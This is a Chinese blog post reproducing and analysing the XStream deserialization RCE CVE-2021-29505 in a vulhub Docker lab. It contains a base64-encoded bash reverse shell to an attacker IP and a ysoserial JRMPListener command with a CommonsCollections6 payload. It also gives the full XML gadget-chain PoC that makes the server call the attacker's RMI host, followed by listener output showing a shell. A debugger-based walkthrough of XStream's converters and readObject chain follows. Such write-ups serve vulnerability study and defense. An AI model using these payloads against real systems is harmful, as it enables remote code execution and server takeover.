漏洞复现-Xstream(CVE-2021-29505)

一、环境简介

XStream是一个Java对象和XML(JSON)相互转换的工具,很好很强大。
提供了所有的基础类型、数组、集合等类型直接转换的支持。
因此XML常用于数据交换、对象序列化
(这种序列化和Java对象的序列化技术有着本质的区别)。

优点:

使用方便 – XStream的API提供了一个高层次外观,以简化常用的用例。
无需创建映射XStream的API提供了默认的映射大部分对象序列化。
性能 – XStream快速和低内存占用,适合于大对象图或系统。
干净的XML – XStream创建一个干净和紧凑XML结果,这很容易阅读。
不需要修改对象 – XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。
完整对象图支持 – XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
可自定义的转换策略 – 定制策略可以允许特定类型的定制被表示为XML的注册。
安全框架 – XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
错误消息 – 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
另一种输出格式 – XStream支持其它的输出格式,如JSON。

二、 漏洞简介

XStream在解析XML文本时使用黑名单机制来防御反序列化漏洞,
但是其 1.4.16及之前版本黑名单存在缺陷。
攻击者可以操纵已处理的输入流并替换或注入对象,从而在服务器上执行本地命令。

三、漏洞复现

 ┌──(root💀amingMM)-[/home//Desktop/vulhub-master/xstream/CVE-2021-29505]
└─# docker-compose up -d 

在这里插入图片描述

漏洞利用

nc 监听

nc -lvvp 1474

base64编码

bash -i>& /dev/tcp/172.16.7.204/1474 0>&1
 
YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=

bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=}|{base64,-d}|{bash,-i}

ysoserial.jar

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

poc 打通经络

抓包

访问 127.0.0.1:8080 抓包并修改请求方式为POST
修改Content-Type为application/xml
在这里插入图片描述

添加poc内容到数据包

 <java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>172.16.7.204</string>
                                                <int>6666</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>172.16.7.204</host>
                                        <port>6666</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

在这里插入图片描述

重放数据包 得到500 response

在这里插入图片描述

RMI消息

┌──(amingmm㉿amingMM)-[~/Desktop]
└─$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 6666
Have connection from /172.21.0.2:40578
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /172.21.0.2:40580
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection              

getshell

在这里插入图片描述

四、漏洞分析

Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类,都实现了Serializable接口并且重写了readObject方法

 import java.io.IOException;
import java.io.Serializable;public class People implements Serializable{
    private String name;
    private int age;
    private Company workCompany;public People(String name, int age, Company workCompany) {
        this.name = name;
        this.age = age;
        this.workCompany = workCompany;
    }public String getName() {
        return name;
    }public void setName(String name) {
        this.name = name;
    }public int getAge() {
        return age;
    }public void setAge(int age) {
        this.age = age;
    }public Company getWorkCompany() {
        return workCompany;
    }public void setWorkCompany(Company workCompany) {
        this.workCompany = workCompany;
    }private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Read People");
    }
}


public class Company implements Serializable {
    private String companyName;
    private String companyLocation;public Company(String companyName, String companyLocation) {
        this.companyName = companyName;
        this.companyLocation = companyLocation;
    }public String getCompanyName() {
        return companyName;
    }public void setCompanyName(String companyName) {
        this.companyName = companyName;
    }public String getCompanyLocation() {
        return companyLocation;
    }public void setCompanyLocation(String companyLocation) {
        this.companyLocation = companyLocation;
    }private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Company");
    }
}

然后生成一个People对象,并使用Xstream对其进行序列化

 XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);

执行结果如下

 <com.XstreamTest.People serialization="custom">
  <com.XstreamTest.People>
    <default>
      <age>25</age>
      <name>xiaoming</name>
      <workCompany serialization="custom">
        <com.XstreamTest.Company>
          <default>
            <companyLocation>BeiJing</companyLocation>
            <companyName>TopSec</companyName>
          </default>
        </com.XstreamTest.Company>
      </workCompany>
    </default>
  </com.XstreamTest.People>
</com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

 <com.XstreamTest.People>
  <name>xiaoming</name>
  <age>25</age>
  <workCompany>
    <companyName>TopSec</companyName>
    <companyLocation>BeiJing</companyLocation>
  </workCompany>
</com.XstreamTest.People>

分析直接写代码用Xstream解析poc

创建maven项目,引入XStream

在这里插入图片描述
主函数里定义xml调用Xstream解析poc

 import com.thoughtworks.xstream.XStream;

public class Main {

    public static void main(String[] args) {
        String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization=\"custom\"> \n" +
                "  <java.rmi.server.RemoteObject> \n" +
                "    <string>UnicastRef</string>  \n" +
                "    <string>127.0.0.1</string>  \n" +
                "    <int>8001</int>  \n" +
                "    <long>0</long>  \n" +
                "    <int>0</int>  \n" +
                "    <long>0</long>  \n" +
                "    <short>0</short>  \n" +
                "    <boolean>false</boolean> \n" +
                "  </java.rmi.server.RemoteObject> \n" +
                "</sun.rmi.registry.RegistryImpl_Stub>";
        // write your code hereXStream xstream = new XStream();;
        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

XStream产生漏洞的主要问题就在于:

XStream在处理
实现Serializable接口和没有实现Serializable接口的类
生成的对象时,方法是不一样的
在TreeUnmarshaller类的convertAnother方法处下断点,如下图所示
在这里插入图片描述
这里会获取一个converter,中文直译为转换器,
Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据,
我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter
在这里插入图片描述
从执行的结果中可以看到最终返回一个ReflectionConverter,
当然不同的类型在这里会返回不同的Converter,

这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter,
该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值,

那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢?
在这里插入图片描述

更换序列化后的数据,在同样的位置打上断点,会发现这里处理People的Converter由ReflectionConverter变成了,SerializableConverter。

尝试在People类的readObject类处打上断点
在这里插入图片描述
执行过程中居然调用了我们重写的readObject方法,此时的调用链如下
在这里插入图片描述
会调用readObject方法的话,那此时我们的思路应该就很清晰了,
只需要找到一条利用链,就可以尝试进行反序列化攻击了

当处理此种类型的xml(即实现了Serializable接口的类)时,
会调用到该类的readObject方法

 <java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>75g7ep.dnslog.cn</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>75g7ep.dnslog.cn</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

看到入口点与CVE-2021-21344、CVE-2021-21345等相同为:java.util.PriorityQueue
经典的CommonCollections利用链中有几个就用到了PriorityQueue。
在该类的readObject函数打下断点,调试执行

在这里插入图片描述

通过s.readObject()
走到XStram中的readObjectOverride函数

在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法

对应xml中的相应节点
在这里插入图片描述

经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub
在这里插入图片描述

同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。
在这里实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法
在这里插入图片描述

在这里插入图片描述

最终实际调用的代码如下最终在这里进行远程rmi调用
在这里插入图片描述

 <sun.rmi.registry.RegistryImpl_Stub serialization="custom"> 

  <java.rmi.server.RemoteObject> 

    <string>UnicastRef</string>  

    <string>127.0.0.1</string>  

    <int>8001</int>  

    <long>0</long>  

    <int>0</int>  

    <long>0</long>  

    <short>0</short>  

    <boolean>false</boolean> 

  </java.rmi.server.RemoteObject> 

</sun.rmi.registry.RegistryImpl_Stub>

简化版poc的调用方式就是直入关键类

sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值